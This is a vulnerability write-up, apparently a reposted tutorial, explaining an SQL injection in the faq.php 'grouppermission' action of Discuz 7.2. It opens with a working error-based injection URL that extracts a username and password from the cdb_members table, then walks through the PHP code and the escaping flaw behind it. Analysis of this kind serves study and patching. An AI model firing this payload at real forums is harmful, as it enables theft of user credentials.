Discuz7.2 version of faq.php SQL injection vulnerability analysis, discuz7.2faq.php_PHP tutorial

Discuz7.2 version of faq.php SQL injection vulnerability analysis, discuz7.2faq.php

Injection code Example:

//m.sbmmt.com?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

Vulnerability analysis: by pithon

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

First define an array groupids, and then traverse $gids (this is also an array, which is $_GET[gids] ), take out the first bit of all values ​​in the array and put it in groupids.

Why does this operation cause injection?

discuz will addlashes the GET array globally, which means it will escape ' to ', so if our incoming parameter is: gids[1]=' , will be escaped into $gids[1]=', and the assignment statement $groupids[] = $row[0] is equivalent to taking the first character of the string, that is, taking out the escape symbol .

Looking at the back, before putting the data into the sql statement, he processed it with implodeids. We see that the implodeids function

is a very simple function, which is to split the $groupids array just now with ',' to form one similar to '1', '2', '3', '4' String returned.

But our array has just taken out an escape character, which will escape a normal ' here, such as this:
'1','','3','4'
Did you see something different? The 4th single quote is escaped, which means the 5th single quote and the 3rd single quote are closed.